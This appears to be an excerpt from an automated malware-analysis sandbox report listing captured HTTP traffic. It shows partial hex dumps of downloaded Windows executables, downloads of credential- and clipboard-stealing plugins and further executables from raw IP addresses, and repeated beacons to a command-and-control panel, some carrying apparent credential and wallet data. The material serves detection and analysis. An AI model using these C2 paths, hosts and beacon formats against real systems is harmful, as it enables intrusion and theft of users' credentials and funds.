00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Apr 2024 18:21:26 GMTContent-Type: application/octet-streamContent-Length: 1050444Last-Modified: Sat, 13 Apr 2024 18:20:05 GMTConnection: keep-aliveETag: "661accd5-10074c"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b7 b7 1a 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1c 08 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 12 00 00 04 00 00 50 0c 12 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 7c 61 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 11 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 7c 61 04 00 00 40 0d 00 00 62 04 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 11 00 00 76 00 00 00 56 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Apr 2024 18:22:06 GMTContent-Type: application/octet-streamContent-Length: 1793536Last-Modified: Sat, 06 Apr 2024 12:58:33 GMTConnection: keep-aliveETag: "661146f9-1b5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 94 ab f9 65 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 54 1b 00 00 08 00 00 00 00 00 00 4e 72 1b 00 00 20 00 00 00 80 1b 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 1b 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 72 1b 00 4b 00 00 00 00 80 1b 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 1b 00 0c 00 00 00 b7 71 1b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 52 1b 00 00 20 00 00 00 54 1b 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 44 05 00 00 00 80 1b 00 00 06 00 00 00 56 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 1b 00 00 02 00 00 00 5c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 72 1b 00 00 00 00 00 48 00 00 00 02 00 05 00 ac 77 01 00 78 08 01 00 03 00 02 00 10 00 00 06 24 80 02 00 ef 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 05 00 6a 00 00 00 01 00 00 11 7e 01 00 00 04 3a 5f 00 00 00 17 80 01 00 00 04 7e af 00 00 04 28 fe 02 00 06 20 e8 07 00 00 20 03 00 00 00 20 13 00 00 00 73 0f 00 00 0a 7e b0 00 00 04 28 02 03 00 06 fe 0e 00 00 fe 0d 00 00 7e b1 00 00 04 28 06 03 00 06 7e b2 00 00 04 28 0a 03 00 06 20 0e 00 00 00 3f 0b 00 00 00 72 01 00 00 70 73 10 00 00 0a 7a 2a 00 00 1a 28 01 00 00 06 2a 00 13 30 04 00 24 00 00 00 02 00 00 11 16 0a 72 ea 00 00 70 03 8c 0d 00 00 01 7e b3 00 00 04 28 0e 03 00 06 7e b4 00 00 04 28 12 03 00 06 0a 06 2a 12 03 04 5d 2a 00 00 00 1b 30 06 00 0e 03 00 00 03 00 00 11 14 13 11 14 13 12 73 09 00 00 06 13 13 11 13 02 7d 04 00 00 04 0e 04 8e 69 0a 14 0c 14 0d 20 00 01 00 00 8d 1c 00 00 01 0c 20 00 01 00 00 8d 1c 00 00 01 0d dd 06 00 00 00 26 dd 00 00 00 00 11 13 16 7d 03 00 00 04 38 0c 01 00 00 11 13 7b 03 00 00 04 13 04 1f 64 13 05 02 11 04 7e b5 00 00 04 28 16 03 00 06 13 05 08 11 05 8c 1c 00 00 01 11 13 7b 03 00 00 04 7e

Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /Pneh2sXQk0/Plugins/cred64.dll HTTP/1.1Host: 193.233.132.56
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /Pneh2sXQk0/Plugins/clip64.dll HTTP/1.1Host: 193.233.132.56
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000042001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /cost/sarra.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php?wal=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----NDYxMA==Host: 193.233.132.56Content-Length: 4770Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 34 33 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000043031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /mine/amert.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000049001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 30 30 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000051001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
